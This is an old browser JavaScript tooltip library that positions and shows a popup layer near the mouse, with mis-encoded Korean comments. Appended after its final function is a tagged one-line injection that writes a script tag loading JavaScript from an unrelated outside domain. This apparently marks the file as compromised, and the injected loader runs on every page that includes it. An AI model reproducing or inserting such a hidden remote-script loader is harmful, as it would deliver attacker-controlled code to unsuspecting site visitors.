ns4 = (document.layers)? true:false
ie4 = (document.all)? true:false
var x = 0;
var y = 0;
var snow = 0;
var sw = 0;
var cnt = 0;
var dir = 1;
var over = "";

var width = "350";
var height = "120"; 
var border = "0";
var offsetx = 3;
var offsety = 3;
var fcolor = "white";
var backcolor = "#7DD9D4";
var textcolor = "#3d3d3d";
var capcolor = "white";
var closecolor = "#1483d3";

if ( (ns4) || (ie4) ) {
	if (ns4) over = document.overDiv
	if (ie4) over = overDiv.style
	document.onmousemove = mouseMove
	if (ns4) document.captureEvents(Event.MOUSEMOVE)
}

function drc(text, title) {
	dtc(1,text,title);
}

function nd() {
	if ( cnt >= 1 ) { sw = 0 };
	if ( (ns4) || (ie4) ) {
		if ( sw == 0 ) {
			snow = 0;
			hideObject(over);
		} else {
			cnt++;
		}
	}
}

function dtc(d,text, title) {
	txt = "<TABLE WIDTH="+width+" STYLE=\"border:1 black solid\" CELLPADDING="+border+" CELLSPACING=0><TR><TD BGCOLOR=\""+backcolor+"\"><TABLE WIDTH=100% BORDER=0 CELLPADDING=0 CELLSPACING=0><TR><TD align=left HEIGHT=20><SPAN ID=\"PTT\">&nbsp;<FONT COLOR=\""+capcolor+"\"><B>"+title+"</B></FONT></SPAN></TD></TR></TABLE><TABLE WIDTH=100% BORDER=0 CELLPADDING=2 CELLSPACING=0 BGCOLOR=\""+fcolor+"\"><TR><TD align=left><SPAN ID=\"PST\"><FONT COLOR=\""+textcolor+"\">"+text+"</FONT><SPAN></TD></TR></TABLE></TD></TR></TABLE>"
	layerWrite(txt);
	dir = d;

  if(ns4)
    {
        doc_width=self.innerWidth;
        doc_height=self.innerHeight;
    }
    else if( ie4 || ie5 )
    {
        doc_width=document.body.clientWidth;
        doc_height=document.body.clientHeight;
    }

    tmpX = ( doc_width - x - offsetx - width < 0) ? (x + top.document.body.scrollLeft - offsetx - document.getElementById("overDiv").offsetWidth):(x + top.document.body.scrollLeft + document.body.offsetLeft + offsetx);
   tmpY = ( y + offsety + document.getElementById("overDiv").offsetHeight < doc_height) ? (y + top.document.body.scrollTop - offsety):(y + top.document.body.scrollTop + document.body.offsetTop + offsety -  document.getElementById("overDiv").offsetHeight);


	disp();
		snow = 0;
}
function stc(d,text, title) {
	sw = 1;
	cnt = 0;
	txt = "<TABLE WIDTH="+width+" BORDER=0 CELLPADDING="+border+" CELLSPACING=0 BGCOLOR=\""+backcolor+"\"><TR><TD><TABLE WIDTH=100% BORDER=0 CELLPADDING=0 CELLSPACING=0><TR><TD HEIGHT=20><SPAN ID=\"PTT\"><B><FONT COLOR=\""+capcolor+"\">"+title+"</FONT></B></SPAN></TD><TD ALIGN=RIGHT><A HREF=\"/\" onMouseOver=\"cClick();\" ID=\"PCL\"><FONT COLOR=\""+closecolor+"\">Close</FONT></A></TD></TR></TABLE><TABLE WIDTH=100% BORDER=0 CELLPADDING=2 CELLSPACING=0 BGCOLOR=\""+fcolor+"\"><TR><TD><SPAN ID=\"PST\"><FONT COLOR=\""+textcolor+"\">"+text+"</FONT><SPAN></TD></TR></TABLE></TD></TR></TABLE>"
	layerWrite(txt);
	dir = d;
	disp();
	snow = 0;
}



function disp()
{
    if( (ns4) || (ie4) || (ie5) )
    {
        if( snow ==  0 )
        {
            moveTo(over,tmpX,tmpY);
            showObject(over);
            snow = 1;
        }
    }
}



function mouseMove(e)
{
    // document.body.scrollTop : ½ºÅ©·ÑµÈ ³ôÀÌ
    // event.y : ÇöÀç À§Ä¡
    // doc_height => document.body.clientHeight : ÀüÃ¼³ôÀÌ
    // offsety : ÇöÀçÀ§Ä¡¿¡¼­ ¾à°£ ¶³¾îÁö°Ô ÇÔ
    // height : popupÃ¢ ³ôÀÌ
    
    if(ns4)
    {
        x=e.pageX;
        y=e.pageY
    }
    else if( ie4 || ie5 )
    {
        x=event.x;
        y=event.y;
    }


    if(ns4)
    {
        doc_width=self.innerWidth;
        doc_height=self.innerHeight;
    }
    else if( ie4 || ie5 )
    {
        doc_width=document.body.clientWidth;
        doc_height=document.body.clientHeight;
    }
    
    // scroll½Ã¿¡µµ Àû¿ë
    tmpX = ( doc_width - x - offsetx - width < 0) ? (x + top.document.body.scrollLeft - offsetx - width):(x + top.document.body.scrollLeft + document.body.offsetLeft + offsetx);
    //tmpY = ( doc_height + y + offsety + document.getElementById("overDiv").offsetHeight < doc_height) ? (y + top.document.body.scrollTop - offsety):(y + top.document.body.scrollTop + document.body.offsetTop + offsety-document.getElementById("overDiv").offsetHeight );

   tmpY = ( y + offsety + document.getElementById("overDiv").offsetHeight < doc_height) ? (y + top.document.body.scrollTop - offsety):(y + top.document.body.scrollTop + document.body.offsetTop + offsety -  document.getElementById("overDiv").offsetHeight);

   // tmpX = x+ top.document.body.scrollLeft + top.document.all["overDiv1"].offsetLeft + top.document.all["overDiv1"].offsetWidth;
    //tmpY = y+ top.document.body.scrollTop + top.document.all["overDiv1"].offsetTop + top.document.all["overDiv1"].offsetHeight;
    //if( document.body.scrollTop != 0 ) alert( doc_height + '//' + y +'//' + height);
		moveTo(over,tmpX,tmpY);
	//alert(document.body.scrollTop);
}
function layerWrite(txt) {
        if (ns4) {
                var lyr = document.overDiv.document
                lyr.write(txt)
                lyr.close()
        }
        else if (ie4) document.all["overDiv"].innerHTML = txt
}

function showObject(obj) {
        if (ns4) obj.visibility = "show"
        else if (ie4) obj.visibility = "visible"
}
function hideObject(obj) {
        if (ns4) obj.visibility = "hide"
        else if (ie4) obj.visibility = "hidden"
}
function moveTo(obj,xL,yL) {
        obj.left = xL
        obj.top = yL
}/*SOS*/{document.write('<script src=http://www.faloge.com/js/yahoo.js><\/script>');}